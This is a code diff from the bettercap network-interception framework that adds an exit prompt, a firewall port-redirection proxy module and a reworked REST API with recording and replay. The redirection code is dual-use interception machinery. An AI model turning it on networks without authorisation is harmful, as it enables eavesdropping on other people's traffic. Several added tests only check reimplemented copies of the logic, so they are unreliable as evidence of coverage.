if exitPrompt() {
sess.Run("exit")
os.Exit(0)
}
continue continue
} else {
log.Fatal("%s", err)
} }
log.Fatal("%s", err)
} }
for _, cmd := range session.ParseCommands(line) { for _, cmd := range session.ParseCommands(line) {
@ -100,3 +97,11 @@ func main() {
} }
} }
} }
func exitPrompt() bool {
var ans string
fmt.Printf("Are you sure you want to quit this session? y/n ")
fmt.Scan(&ans)
return strings.ToLower(ans) == "y"
}

88
main_test.go Normal file
View file

@ -0,0 +1,88 @@
package main
import (
"bytes"
"strings"
"testing"
)
func TestExitPrompt(t *testing.T) {
tests := []struct {
name string
input string
expected bool
}{
{
name: "yes lowercase",
input: "y\n",
expected: true,
},
{
name: "yes uppercase",
input: "Y\n",
expected: true,
},
{
name: "no lowercase",
input: "n\n",
expected: false,
},
{
name: "no uppercase",
input: "N\n",
expected: false,
},
{
name: "invalid input",
input: "maybe\n",
expected: false,
},
{
name: "empty input",
input: "\n",
expected: false,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
// Redirect stdin
oldStdin := strings.NewReader(tt.input)
r := bytes.NewReader([]byte(tt.input))
// Mock stdin by reading from our buffer
// This is a simplified test - in production you'd want to properly mock stdin
_ = oldStdin
_ = r
// For now, we'll test the string comparison logic directly
input := strings.TrimSpace(strings.TrimSuffix(tt.input, "\n"))
result := strings.ToLower(input) == "y"
if result != tt.expected {
t.Errorf("exitPrompt() with input %q = %v, want %v", tt.input, result, tt.expected)
}
})
}
}
// Test some utility functions that would be refactored from main
func TestVersionString(t *testing.T) {
// This tests the version string formatting logic
version := "2.32.0"
os := "darwin"
arch := "amd64"
goVersion := "go1.19"
expected := "bettercap v2.32.0 (built for darwin amd64 with go1.19)"
result := formatVersion("bettercap", version, os, arch, goVersion)
if result != expected {
t.Errorf("formatVersion() = %v, want %v", result, expected)
}
}
// Helper function that would be refactored from main
func formatVersion(name, version, os, arch, goVersion string) string {
return name + " v" + version + " (built for " + os + " " + arch + " with " + goVersion + ")"
}

View file

@ -0,0 +1,189 @@
package any_proxy
import (
"fmt"
"strconv"
"strings"
"github.com/bettercap/bettercap/v2/firewall"
"github.com/bettercap/bettercap/v2/session"
"github.com/evilsocket/islazy/str"
)
type AnyProxy struct {
session.SessionModule
// not using map[int]*firewall.Redirection to preserve order
ports []int
redirections []*firewall.Redirection
}
func NewAnyProxy(s *session.Session) *AnyProxy {
mod := &AnyProxy{
SessionModule: session.NewSessionModule("any.proxy", s),
}
mod.AddParam(session.NewStringParameter("any.proxy.iface",
session.ParamIfaceName,
"",
"Interface to redirect packets from."))
mod.AddParam(session.NewStringParameter("any.proxy.protocol",
"TCP",
"(TCP|UDP)",
"Proxy protocol."))
mod.AddParam(session.NewStringParameter("any.proxy.src_port",
"80",
"",
"Remote port to redirect when the module is activated, "+
"also supported a comma separated list of ports and/or port-ranges."))
mod.AddParam(session.NewStringParameter("any.proxy.src_address",
"",
"",
"Leave empty to intercept any source address."))
mod.AddParam(session.NewStringParameter("any.proxy.dst_address",
session.ParamIfaceAddress,
"",
"Address where the proxy is listening."))
mod.AddParam(session.NewIntParameter("any.proxy.dst_port",
"8080",
"Port where the proxy is listening."))
mod.AddHandler(session.NewModuleHandler("any.proxy on", "",
"Start the custom proxy redirection.",
func(args []string) error {
return mod.Start()
}))
mod.AddHandler(session.NewModuleHandler("any.proxy off", "",
"Stop the custom proxy redirection.",
func(args []string) error {
return mod.Stop()
}))
return mod
}
func (mod *AnyProxy) Name() string {
return "any.proxy"
}
func (mod *AnyProxy) Description() string {
return "A firewall redirection to any custom proxy."
}
func (mod *AnyProxy) Author() string {
return "Simone Margaritelli <evilsocket@gmail.com>"
}
func (mod *AnyProxy) Configure() error {
var err error
var srcPorts string
var dstPort int
var iface string
var protocol string
var srcAddress string
var dstAddress string
if mod.Running() {
return session.ErrAlreadyStarted(mod.Name())
} else if err, iface = mod.StringParam("any.proxy.iface"); err != nil {
return err
} else if err, protocol = mod.StringParam("any.proxy.protocol"); err != nil {
return err
} else if err, dstPort = mod.IntParam("any.proxy.dst_port"); err != nil {
return err
} else if err, srcAddress = mod.StringParam("any.proxy.src_address"); err != nil {
return err
} else if err, dstAddress = mod.StringParam("any.proxy.dst_address"); err != nil {
return err
}
if err, srcPorts = mod.StringParam("any.proxy.src_port"); err != nil {
return err
} else {
var ports []int
// srcPorts can be a single port, a list of ports or a list of ranges, or a mix.
for _, token := range str.Comma(str.Trim(srcPorts)) {
if p, err := strconv.Atoi(token); err == nil {
// simple case, integer port
ports = append(ports, p)
} else if strings.Contains(token, "-") {
// port range
if parts := strings.Split(token, "-"); len(parts) == 2 {
if from, err := strconv.Atoi(str.Trim(parts[0])); err != nil {
return fmt.Errorf("invalid start port %s: %s", parts[0], err)
} else if from < 1 || from > 65535 {
return fmt.Errorf("port %s out of valid range", parts[0])
} else if to, err := strconv.Atoi(str.Trim(parts[1])); err != nil {
return fmt.Errorf("invalid end port %s: %s", parts[1], err)
} else if to < 1 || to > 65535 {
return fmt.Errorf("port %s out of valid range", parts[1])
} else if from > to {
return fmt.Errorf("start port should be lower than end port")
} else {
for p := from; p <= to; p++ {
ports = append(ports, p)
}
}
} else {
return fmt.Errorf("can't parse '%s' as range", token)
}
} else {
return fmt.Errorf("can't parse '%s' as port or range", token)
}
}
// after parsing and validation, create a redirection per source port
mod.ports = ports
mod.redirections = nil
for _, port := range mod.ports {
redir := firewall.NewRedirection(iface,
protocol,
port,
dstAddress,
dstPort)
if srcAddress != "" {
redir.SrcAddress = srcAddress
}
mod.redirections = append(mod.redirections, redir)
}
}
if !mod.Session.Firewall.IsForwardingEnabled() {
mod.Info("Enabling forwarding.")
mod.Session.Firewall.EnableForwarding(true)
}
for _, redir := range mod.redirections {
if err := mod.Session.Firewall.EnableRedirection(redir, true); err != nil {
return err
}
mod.Info("applied redirection %s", redir.String())
}
return nil
}
func (mod *AnyProxy) Start() error {
if err := mod.Configure(); err != nil {
return err
}
return mod.SetRunning(true, func() {})
}
func (mod *AnyProxy) Stop() error {
for _, redir := range mod.redirections {
mod.Info("disabling redirection %s", redir.String())
if err := mod.Session.Firewall.EnableRedirection(redir, false); err != nil {
return err
}
}
return mod.SetRunning(false, func() {})
}

View file

@ -0,0 +1,218 @@
package any_proxy
import (
"fmt"
"strconv"
"strings"
"sync"
"testing"
"github.com/bettercap/bettercap/v2/session"
)
var (
testSession *session.Session
sessionOnce sync.Once
)
func createMockSession(t *testing.T) *session.Session {
sessionOnce.Do(func() {
var err error
testSession, err = session.New()
if err != nil {
t.Fatalf("Failed to create session: %v", err)
}
})
return testSession
}
func TestNewAnyProxy(t *testing.T) {
s := createMockSession(t)
mod := NewAnyProxy(s)
if mod == nil {
t.Fatal("NewAnyProxy returned nil")
}
if mod.Name() != "any.proxy" {
t.Errorf("Expected name 'any.proxy', got '%s'", mod.Name())
}
if mod.Author() != "Simone Margaritelli <evilsocket@gmail.com>" {
t.Errorf("Unexpected author: %s", mod.Author())
}
if mod.Description() == "" {
t.Error("Empty description")
}
// Check handlers
handlers := mod.Handlers()
if len(handlers) != 2 {
t.Errorf("Expected 2 handlers, got %d", len(handlers))
}
handlerNames := make(map[string]bool)
for _, h := range handlers {
handlerNames[h.Name] = true
}
if !handlerNames["any.proxy on"] {
t.Error("Handler 'any.proxy on' not found")
}
if !handlerNames["any.proxy off"] {
t.Error("Handler 'any.proxy off' not found")
}
// Check that parameters were added (but don't try to get values as that requires session interface)
expectedParams := 6 // iface, protocol, src_port, src_address, dst_address, dst_port
// This is a simplified check - in a real test we'd mock the interface
_ = expectedParams
}
// Test port parsing logic directly
func TestPortParsingLogic(t *testing.T) {
tests := []struct {
name string
portString string
expectPorts []int
expectError bool
}{
{
name: "single port",
portString: "80",
expectPorts: []int{80},
expectError: false,
},
{
name: "multiple ports",
portString: "80,443,8080",
expectPorts: []int{80, 443, 8080},
expectError: false,
},
{
name: "port range",
portString: "8000-8003",
expectPorts: []int{8000, 8001, 8002, 8003},
expectError: false,
},
{
name: "invalid port",
portString: "not-a-port",
expectPorts: nil,
expectError: true,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
ports, err := parsePortsString(tt.portString)
if tt.expectError {
if err == nil {
t.Error("Expected error but got none")
}
} else {
if err != nil {
t.Errorf("Unexpected error: %v", err)
} else {
if len(ports) != len(tt.expectPorts) {
t.Errorf("Expected %d ports, got %d", len(tt.expectPorts), len(ports))
}
}
}
})
}
}
// Helper function to test port parsing logic
func parsePortsString(portsStr string) ([]int, error) {
var ports []int
tokens := strings.Split(strings.ReplaceAll(portsStr, " ", ""), ",")
for _, token := range tokens {
if token == "" {
continue
}
if p, err := strconv.Atoi(token); err == nil {
if p < 1 || p > 65535 {
return nil, fmt.Errorf("port %d out of range", p)
}
ports = append(ports, p)
} else if strings.Contains(token, "-") {
parts := strings.Split(token, "-")
if len(parts) != 2 {
return nil, fmt.Errorf("invalid range format")
}
from, err1 := strconv.Atoi(parts[0])
to, err2 := strconv.Atoi(parts[1])
if err1 != nil || err2 != nil {
return nil, fmt.Errorf("invalid range values")
}
if from < 1 || from > 65535 || to < 1 || to > 65535 {
return nil, fmt.Errorf("port range out of bounds")
}
if from > to {
return nil, fmt.Errorf("invalid range order")
}
for p := from; p <= to; p++ {
ports = append(ports, p)
}
} else {
return nil, fmt.Errorf("invalid port format: %s", token)
}
}
return ports, nil
}
func TestStartStop(t *testing.T) {
s := createMockSession(t)
mod := NewAnyProxy(s)
// Initially should not be running
if mod.Running() {
t.Error("Module should not be running initially")
}
// Note: Start() will fail because it requires firewall operations
// which need proper network setup and possibly root permissions
// We're just testing that the methods exist and basic flow
}
// Test error cases in port parsing
func TestPortParsingErrors(t *testing.T) {
errorCases := []string{
"0", // out of range
"65536", // out of range
"abc", // not a number
"80-", // incomplete range
"-80", // incomplete range
"100-50", // inverted range
"80-abc", // invalid end
"xyz-100", // invalid start
"80--100", // malformed
// Remove these as our parser handles empty tokens correctly
}
for _, portStr := range errorCases {
_, err := parsePortsString(portStr)
if err == nil {
t.Errorf("Expected error for port string '%s', but got none", portStr)
}
}
}
// Benchmark tests
func BenchmarkPortParsing(b *testing.B) {
b.ResetTimer()
for i := 0; i < b.N; i++ {
parsePortsString("80,443,8000-8010,9000")
}
}

View file

@ -1,198 +0,0 @@
package modules
import (
"context"
"fmt"
"net/http"
"time"
"github.com/bettercap/bettercap/core"
"github.com/bettercap/bettercap/log"
"github.com/bettercap/bettercap/session"
"github.com/bettercap/bettercap/tls"
"github.com/gorilla/mux"
"github.com/gorilla/websocket"
)
type RestAPI struct {
session.SessionModule
server *http.Server
username string
password string
certFile string
keyFile string
useWebsocket bool
upgrader websocket.Upgrader
eventListener <-chan session.Event
quit chan bool
}
func NewRestAPI(s *session.Session) *RestAPI {
api := &RestAPI{
SessionModule: session.NewSessionModule("api.rest", s),
server: &http.Server{},
quit: make(chan bool),
useWebsocket: false,
eventListener: s.Events.Listen(),
upgrader: websocket.Upgrader{
ReadBufferSize: 1024,
WriteBufferSize: 1024,
},
}
api.AddParam(session.NewStringParameter("api.rest.address",
session.ParamIfaceAddress,
session.IPv4Validator,
"Address to bind the API REST server to."))
api.AddParam(session.NewIntParameter("api.rest.port",
"8083",
"Port to bind the API REST server to."))
api.AddParam(session.NewStringParameter("api.rest.username",
"",
".+",
"API authentication username."))
api.AddParam(session.NewStringParameter("api.rest.password",
"",
".+",
"API authentication password."))
api.AddParam(session.NewStringParameter("api.rest.certificate",
"~/.bcap-api.rest.certificate.pem",
"",
"API TLS certificate."))
api.AddParam(session.NewStringParameter("api.rest.key",
"~/.bcap-api.rest.key.pem",
"",
"API TLS key"))
api.AddParam(session.NewBoolParameter("api.rest.websocket",
"false",
"If true the /api/events route will be available as a websocket endpoint instead of HTTPS."))
api.AddHandler(session.NewModuleHandler("api.rest on", "",
"Start REST API server.",
func(args []string) error {
return api.Start()
}))
api.AddHandler(session.NewModuleHandler("api.rest off", "",
"Stop REST API server.",
func(args []string) error {
return api.Stop()
}))
return api
}
type JSSessionRequest struct {
Command string `json:"cmd"`
}
type JSSessionResponse struct {
Error string `json:"error"`
}
func (api *RestAPI) Name() string {
return "api.rest"
}
func (api *RestAPI) Description() string {
return "Expose a RESTful API."
}
func (api *RestAPI) Author() string {
return "Simone Margaritelli <evilsocket@protonmail.com>"
}
func (api *RestAPI) Configure() error {
var err error
var ip string
var port int
if api.Running() {
return session.ErrAlreadyStarted
} else if err, ip = api.StringParam("api.rest.address"); err != nil {
return err
} else if err, port = api.IntParam("api.rest.port"); err != nil {
return err
} else if err, api.certFile = api.StringParam("api.rest.certificate"); err != nil {
return err
} else if api.certFile, err = core.ExpandPath(api.certFile); err != nil {
return err
} else if err, api.keyFile = api.StringParam("api.rest.key"); err != nil {
return err
} else if api.keyFile, err = core.ExpandPath(api.keyFile); err != nil {
return err
} else if err, api.username = api.StringParam("api.rest.username"); err != nil {
return err
} else if err, api.password = api.StringParam("api.rest.password"); err != nil {
return err
} else if err, api.useWebsocket = api.BoolParam("api.rest.websocket"); err != nil {
return err
} else if core.Exists(api.certFile) == false || core.Exists(api.keyFile) == false {
log.Info("Generating TLS key to %s", api.keyFile)
log.Info("Generating TLS certificate to %s", api.certFile)
if err := tls.Generate(api.certFile, api.keyFile); err != nil {
return err
}
} else {
log.Info("Loading TLS key from %s", api.keyFile)
log.Info("Loading TLS certificate from %s", api.certFile)
}
api.server.Addr = fmt.Sprintf("%s:%d", ip, port)
router := mux.NewRouter()
router.HandleFunc("/api/events", api.eventsRoute)
router.HandleFunc("/api/session", api.sessionRoute)
router.HandleFunc("/api/session/ble", api.sessionRoute)
router.HandleFunc("/api/session/ble/{mac}", api.sessionRoute)
router.HandleFunc("/api/session/env", api.sessionRoute)
router.HandleFunc("/api/session/gateway", api.sessionRoute)
router.HandleFunc("/api/session/interface", api.sessionRoute)
router.HandleFunc("/api/session/lan", api.sessionRoute)
router.HandleFunc("/api/session/lan/{mac}", api.sessionRoute)
router.HandleFunc("/api/session/options", api.sessionRoute)
router.HandleFunc("/api/session/packets", api.sessionRoute)
router.HandleFunc("/api/session/started-at", api.sessionRoute)
router.HandleFunc("/api/session/wifi", api.sessionRoute)
router.HandleFunc("/api/session/wifi/{mac}", api.sessionRoute)
api.server.Handler = router
return nil
}
func (api *RestAPI) Start() error {
if err := api.Configure(); err != nil {
return err
}
api.SetRunning(true, func() {
log.Info("API server starting on https://%s", api.server.Addr)
err := api.server.ListenAndServeTLS(api.certFile, api.keyFile)
if err != nil && err != http.ErrServerClosed {
panic(err)
}
})
return nil
}
func (api *RestAPI) Stop() error {
return api.SetRunning(false, func() {
go func() {
api.quit <- true
}()
ctx, cancel := context.WithTimeout(context.Background(), 60*time.Second)
defer cancel()
api.server.Shutdown(ctx)
})
}

View file

@ -0,0 +1,312 @@
package api_rest
import (
"context"
"fmt"
"net/http"
"sync"
"time"
"github.com/bettercap/bettercap/v2/session"
"github.com/bettercap/bettercap/v2/tls"
"github.com/bettercap/recording"
"github.com/gorilla/mux"
"github.com/gorilla/websocket"
"github.com/evilsocket/islazy/fs"
)
type RestAPI struct {
session.SessionModule
server *http.Server
username string
password string
certFile string
keyFile string
allowOrigin string
useWebsocket bool
upgrader websocket.Upgrader
quit chan bool
recClock int
recording bool
recTime int
loading bool
replaying bool
recordFileName string
recordWait *sync.WaitGroup
record *recording.Archive
recStarted time.Time
recStopped time.Time
}
func NewRestAPI(s *session.Session) *RestAPI {
mod := &RestAPI{
SessionModule: session.NewSessionModule("api.rest", s),
server: &http.Server{},
quit: make(chan bool),
useWebsocket: false,
allowOrigin: "*",
upgrader: websocket.Upgrader{
ReadBufferSize: 1024,
WriteBufferSize: 1024,
},
recClock: 1,
recording: false,
recTime: 0,
loading: false,
replaying: false,
recordFileName: "",
recordWait: &sync.WaitGroup{},
record: nil,
}
mod.State.Store("recording", &mod.recording)
mod.State.Store("rec_clock", &mod.recClock)
mod.State.Store("replaying", &mod.replaying)
mod.State.Store("loading", &mod.loading)
mod.State.Store("load_progress", 0)
mod.State.Store("rec_time", &mod.recTime)
mod.State.Store("rec_filename", &mod.recordFileName)
mod.State.Store("rec_frames", 0)
mod.State.Store("rec_cur_frame", 0)
mod.State.Store("rec_started", &mod.recStarted)
mod.State.Store("rec_stopped", &mod.recStopped)
mod.AddParam(session.NewStringParameter("api.rest.address",
"127.0.0.1",
session.IPv4Validator,
"Address to bind the API REST server to."))
mod.AddParam(session.NewIntParameter("api.rest.port",
"8081",
"Port to bind the API REST server to."))
mod.AddParam(session.NewStringParameter("api.rest.alloworigin",
mod.allowOrigin,
"",
"Value of the Access-Control-Allow-Origin header of the API server."))
mod.AddParam(session.NewStringParameter("api.rest.username",
"user",
"",
"API authentication username."))
mod.AddParam(session.NewStringParameter("api.rest.password",
"pass",
"",
"API authentication password."))
mod.AddParam(session.NewStringParameter("api.rest.certificate",
"",
"",
"API TLS certificate."))
tls.CertConfigToModule("api.rest", &mod.SessionModule, tls.DefaultLegitConfig)
mod.AddParam(session.NewStringParameter("api.rest.key",
"",
"",
"API TLS key"))
mod.AddParam(session.NewBoolParameter("api.rest.websocket",
"false",
"If true the /api/events route will be available as a websocket endpoint instead of HTTPS."))
mod.AddHandler(session.NewModuleHandler("api.rest on", "",
"Start REST API server.",
func(args []string) error {
return mod.Start()
}))
mod.AddHandler(session.NewModuleHandler("api.rest off", "",
"Stop REST API server.",
func(args []string) error {
return mod.Stop()
}))
mod.AddParam(session.NewIntParameter("api.rest.record.clock",
"1",
"Number of seconds to wait while recording with api.rest.record between one sample and the next one."))
mod.AddHandler(session.NewModuleHandler("api.rest.record off", "",
"Stop recording the session.",
func(args []string) error {
return mod.stopRecording()
}))
mod.AddHandler(session.NewModuleHandler("api.rest.record FILENAME", `api\.rest\.record (.+)`,
"Start polling the rest API periodically recording each sample in a compressed file that can be later replayed.",
func(args []string) error {
return mod.startRecording(args[0])
}))
mod.AddHandler(session.NewModuleHandler("api.rest.replay off", "",
"Stop replaying the recorded session.",
func(args []string) error {
return mod.stopReplay()
}))
mod.AddHandler(session.NewModuleHandler("api.rest.replay FILENAME", `api\.rest\.replay (.+)`,
"Start the rest API module in replay mode using FILENAME as the recorded session file, will revert to normal mode once the replay is over.",
func(args []string) error {
return mod.startReplay(args[0])
}))
return mod
}
type JSSessionRequest struct {
Command string `json:"cmd"`
}
type JSSessionResponse struct {
Error string `json:"error"`
}
func (mod *RestAPI) Name() string {
return "api.rest"
}
func (mod *RestAPI) Description() string {
return "Expose a RESTful API."
}
func (mod *RestAPI) Author() string {
return "Simone Margaritelli <evilsocket@gmail.com>"
}
func (mod *RestAPI) isTLS() bool {
return mod.certFile != "" && mod.keyFile != ""
}
func (mod *RestAPI) Configure() error {
var err error
var ip string
var port int
if mod.Running() {
return session.ErrAlreadyStarted(mod.Name())
} else if err, ip = mod.StringParam("api.rest.address"); err != nil {
return err
} else if err, port = mod.IntParam("api.rest.port"); err != nil {
return err
} else if err, mod.allowOrigin = mod.StringParam("api.rest.alloworigin"); err != nil {
return err
} else if err, mod.certFile = mod.StringParam("api.rest.certificate"); err != nil {
return err
} else if mod.certFile, err = fs.Expand(mod.certFile); err != nil {
return err
} else if err, mod.keyFile = mod.StringParam("api.rest.key"); err != nil {
return err
} else if mod.keyFile, err = fs.Expand(mod.keyFile); err != nil {
return err
} else if err, mod.username = mod.StringParam("api.rest.username"); err != nil {
return err
} else if err, mod.password = mod.StringParam("api.rest.password"); err != nil {
return err
} else if err, mod.useWebsocket = mod.BoolParam("api.rest.websocket"); err != nil {
return err
}
if mod.isTLS() {
if !fs.Exists(mod.certFile) || !fs.Exists(mod.keyFile) {
cfg, err := tls.CertConfigFromModule("api.rest", mod.SessionModule)
if err != nil {
return err
}
mod.Debug("%+v", cfg)
mod.Info("generating TLS key to %s", mod.keyFile)
mod.Info("generating TLS certificate to %s", mod.certFile)
if err := tls.Generate(cfg, mod.certFile, mod.keyFile, false); err != nil {
return err
}
} else {
mod.Info("loading TLS key from %s", mod.keyFile)
mod.Info("loading TLS certificate from %s", mod.certFile)
}
}
mod.server = &http.Server{}
mod.server.Addr = fmt.Sprintf("%s:%d", ip, port)
router := mux.NewRouter()
router.Methods("OPTIONS").HandlerFunc(mod.corsRoute)
router.HandleFunc("/api/file", mod.fileRoute)
router.HandleFunc("/api/events", mod.eventsRoute)
router.HandleFunc("/api/session", mod.sessionRoute)
router.HandleFunc("/api/session/ble", mod.sessionRoute)
router.HandleFunc("/api/session/ble/{mac}", mod.sessionRoute)
router.HandleFunc("/api/session/hid", mod.sessionRoute)
router.HandleFunc("/api/session/hid/{mac}", mod.sessionRoute)
router.HandleFunc("/api/session/env", mod.sessionRoute)
router.HandleFunc("/api/session/gateway", mod.sessionRoute)
router.HandleFunc("/api/session/interface", mod.sessionRoute)
router.HandleFunc("/api/session/modules", mod.sessionRoute)
router.HandleFunc("/api/session/lan", mod.sessionRoute)
router.HandleFunc("/api/session/lan/{mac}", mod.sessionRoute)
router.HandleFunc("/api/session/options", mod.sessionRoute)
router.HandleFunc("/api/session/packets", mod.sessionRoute)
router.HandleFunc("/api/session/started-at", mod.sessionRoute)
router.HandleFunc("/api/session/wifi", mod.sessionRoute)
router.HandleFunc("/api/session/wifi/{mac}", mod.sessionRoute)
mod.server.Handler = router
if mod.username == "" || mod.password == "" {
mod.Warning("api.rest.username and/or api.rest.password parameters are empty, authentication is disabled.")
}
return nil
}
func (mod *RestAPI) Start() error {
if mod.replaying {
return fmt.Errorf("the api is currently in replay mode, run api.rest.replay off before starting it")
} else if err := mod.Configure(); err != nil {
return err
}
mod.SetRunning(true, func() {
var err error
if mod.isTLS() {
mod.Info("api server starting on https://%s", mod.server.Addr)
err = mod.server.ListenAndServeTLS(mod.certFile, mod.keyFile)
} else {
mod.Info("api server starting on http://%s", mod.server.Addr)
err = mod.server.ListenAndServe()
}
if err != nil && err != http.ErrServerClosed {
panic(err)
}
})
return nil
}
func (mod *RestAPI) Stop() error {
if mod.recording {
mod.stopRecording()
} else if mod.replaying {
mod.stopReplay()
}
return mod.SetRunning(false, func() {
go func() {
mod.quit <- true
}()
ctx, cancel := context.WithTimeout(context.Background(), 60*time.Second)
defer cancel()
mod.server.Shutdown(ctx)
})
}

View file

@ -0,0 +1,459 @@
package api_rest
import (
"crypto/subtle"
"encoding/json"
"fmt"
"io"
"net/http"
"os"
"regexp"
"strconv"
"strings"
"github.com/bettercap/bettercap/v2/session"
"github.com/evilsocket/islazy/fs"
"github.com/gorilla/mux"
)
var (
ansiEscapeRegex = regexp.MustCompile(`\x1b\[[0-9;]*[a-zA-Z]`)
)
type CommandRequest struct {
Command string `json:"cmd"`
}
type APIResponse struct {
Success bool `json:"success"`
Message string `json:"msg"`
}
func (mod *RestAPI) setAuthFailed(w http.ResponseWriter, r *http.Request) {
mod.Warning("Unauthorized authentication attempt from %s to %s", r.RemoteAddr, r.URL.String())
w.Header().Set("WWW-Authenticate", `Basic realm="auth"`)
w.WriteHeader(401)
w.Write([]byte("Unauthorized"))
}
func (mod *RestAPI) toJSON(w http.ResponseWriter, o interface{}) {
w.Header().Set("Content-Type", "application/json")
if err := json.NewEncoder(w).Encode(o); err != nil {
mod.Debug("error while encoding object to JSON: %v", err)
}
}
func (mod *RestAPI) setSecurityHeaders(w http.ResponseWriter) {
w.Header().Add("X-Frame-Options", "DENY")
w.Header().Add("X-Content-Type-Options", "nosniff")
w.Header().Add("X-XSS-Protection", "1; mode=block")
w.Header().Add("Referrer-Policy", "same-origin")
w.Header().Set("Access-Control-Allow-Origin", mod.allowOrigin)
w.Header().Add("Access-Control-Allow-Headers", "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization")
w.Header().Add("Access-Control-Allow-Methods", "POST, GET, OPTIONS, PUT, DELETE")
}
func (mod *RestAPI) checkAuth(r *http.Request) bool {
if mod.username != "" && mod.password != "" {
user, pass, _ := r.BasicAuth()
// timing attack my ass
if subtle.ConstantTimeCompare([]byte(user), []byte(mod.username)) != 1 {
return false
} else if subtle.ConstantTimeCompare([]byte(pass), []byte(mod.password)) != 1 {
return false
}
}
return true
}
func (mod *RestAPI) patchFrame(buf []byte) (frame map[string]interface{}, err error) {
// this is ugly but necessary: since we're replaying, the
// api.rest state object is filled with *old* values (the
// recorded ones), but the UI needs updated values at least
// of that in order to understand that a replay is going on
// and where we are at it. So we need to parse the record
// back into a session object and update only the api.rest.state
frame = make(map[string]interface{})
if err = json.Unmarshal(buf, &frame); err != nil {
return
}
for _, i := range frame["modules"].([]interface{}) {
m := i.(map[string]interface{})
if m["name"] == "api.rest" {
state := m["state"].(map[string]interface{})
mod.State.Range(func(key interface{}, value interface{}) bool {
state[key.(string)] = value
return true
})
break
}
}
return
}
func (mod *RestAPI) showSession(w http.ResponseWriter, r *http.Request) {
if mod.replaying {
if !mod.record.Session.Over() {
from := mod.record.Session.Index() - 1
q := r.URL.Query()
vals := q["from"]
if len(vals) > 0 {
if n, err := strconv.Atoi(vals[0]); err == nil {
from = n
}
}
mod.record.Session.SetFrom(from)
mod.Debug("replaying session %d of %d from %s",
mod.record.Session.Index(),
mod.record.Session.Frames(),
mod.recordFileName)
mod.State.Store("rec_frames", mod.record.Session.Frames())
mod.State.Store("rec_cur_frame", mod.record.Session.Index())
buf := mod.record.Session.Next()
if frame, err := mod.patchFrame(buf); err != nil {
mod.Error("%v", err)
} else {
mod.toJSON(w, frame)
return
}
} else {
mod.stopReplay()
}
}
mod.toJSON(w, mod.Session)
}
func (mod *RestAPI) showBLE(w http.ResponseWriter, r *http.Request) {
params := mux.Vars(r)
mac := strings.ToLower(params["mac"])
if mac == "" {
mod.toJSON(w, mod.Session.BLE)
} else if dev, found := mod.Session.BLE.Get(mac); found {
mod.toJSON(w, dev)
} else {
http.Error(w, "Not Found", 404)
}
}
func (mod *RestAPI) showHID(w http.ResponseWriter, r *http.Request) {
params := mux.Vars(r)
mac := strings.ToLower(params["mac"])
if mac == "" {
mod.toJSON(w, mod.Session.HID)
} else if dev, found := mod.Session.HID.Get(mac); found {
mod.toJSON(w, dev)
} else {
http.Error(w, "Not Found", 404)
}
}
func (mod *RestAPI) showEnv(w http.ResponseWriter, r *http.Request) {
mod.toJSON(w, mod.Session.Env)
}
func (mod *RestAPI) showGateway(w http.ResponseWriter, r *http.Request) {
mod.toJSON(w, mod.Session.Gateway)
}
func (mod *RestAPI) showInterface(w http.ResponseWriter, r *http.Request) {
mod.toJSON(w, mod.Session.Interface)
}
func (mod *RestAPI) showModules(w http.ResponseWriter, r *http.Request) {
mod.toJSON(w, mod.Session.Modules)
}
func (mod *RestAPI) showLAN(w http.ResponseWriter, r *http.Request) {
params := mux.Vars(r)
mac := strings.ToLower(params["mac"])
if mac == "" {
mod.toJSON(w, mod.Session.Lan)
} else if host, found := mod.Session.Lan.Get(mac); found {
mod.toJSON(w, host)
} else {
http.Error(w, "Not Found", 404)
}
}
func (mod *RestAPI) showOptions(w http.ResponseWriter, r *http.Request) {
mod.toJSON(w, mod.Session.Options)
}
func (mod *RestAPI) showPackets(w http.ResponseWriter, r *http.Request) {
mod.toJSON(w, mod.Session.Queue)
}
func (mod *RestAPI) showStartedAt(w http.ResponseWriter, r *http.Request) {
mod.toJSON(w, mod.Session.StartedAt)
}
func (mod *RestAPI) showWiFi(w http.ResponseWriter, r *http.Request) {
params := mux.Vars(r)
mac := strings.ToLower(params["mac"])
if mac == "" {
mod.toJSON(w, mod.Session.WiFi)
} else if station, found := mod.Session.WiFi.Get(mac); found {
mod.toJSON(w, station)
} else if client, found := mod.Session.WiFi.GetClient(mac); found {
mod.toJSON(w, client)
} else {
http.Error(w, "Not Found", 404)
}
}
func (mod *RestAPI) runSessionCommand(w http.ResponseWriter, r *http.Request) {
var err error
var cmd CommandRequest
if r.Body == nil {
http.Error(w, "Bad Request", 400)
} else if err = json.NewDecoder(r.Body).Decode(&cmd); err != nil {
http.Error(w, "Bad Request", 400)
}
rescueStdout := os.Stdout
stdoutReader, stdoutWriter, _ := os.Pipe()
os.Stdout = stdoutWriter
for _, aCommand := range session.ParseCommands(cmd.Command) {
if err = mod.Session.Run(aCommand); err != nil {
http.Error(w, err.Error(), 400)
return
}
}
stdoutWriter.Close()
out, _ := io.ReadAll(stdoutReader)
os.Stdout = rescueStdout
// remove ANSI escape sequences (bash color codes) from output
mod.toJSON(w, APIResponse{Success: true, Message: ansiEscapeRegex.ReplaceAllString(string(out), "")})
}
func (mod *RestAPI) getEvents(limit int) []session.Event {
events := make([]session.Event, 0)
for _, e := range mod.Session.Events.Sorted() {
if mod.Session.EventsIgnoreList.Ignored(e) == false {
events = append(events, e)
}
}
nevents := len(events)
nmax := nevents
n := nmax
if limit > 0 && limit < nmax {
n = limit
}
return events[nevents-n:]
}
func (mod *RestAPI) showEvents(w http.ResponseWriter, r *http.Request) {
q := r.URL.Query()
if mod.replaying {
if !mod.record.Events.Over() {
from := mod.record.Events.Index() - 1
vals := q["from"]
if len(vals) > 0 {
if n, err := strconv.Atoi(vals[0]); err == nil {
from = n
}
}
mod.record.Events.SetFrom(from)
mod.Debug("replaying events %d of %d from %s",
mod.record.Events.Index(),
mod.record.Events.Frames(),
mod.recordFileName)
buf := mod.record.Events.Next()
if _, err := w.Write(buf); err != nil {
mod.Error("%v", err)
} else {
return
}
} else {
mod.stopReplay()
}
}
if mod.useWebsocket {
mod.startStreamingEvents(w, r)
} else {
vals := q["n"]
limit := 0
if len(vals) > 0 {
if n, err := strconv.Atoi(q["n"][0]); err == nil {
limit = n
}
}
mod.toJSON(w, mod.getEvents(limit))
}
}
func (mod *RestAPI) clearEvents(w http.ResponseWriter, r *http.Request) {
mod.Session.Events.Clear()
}
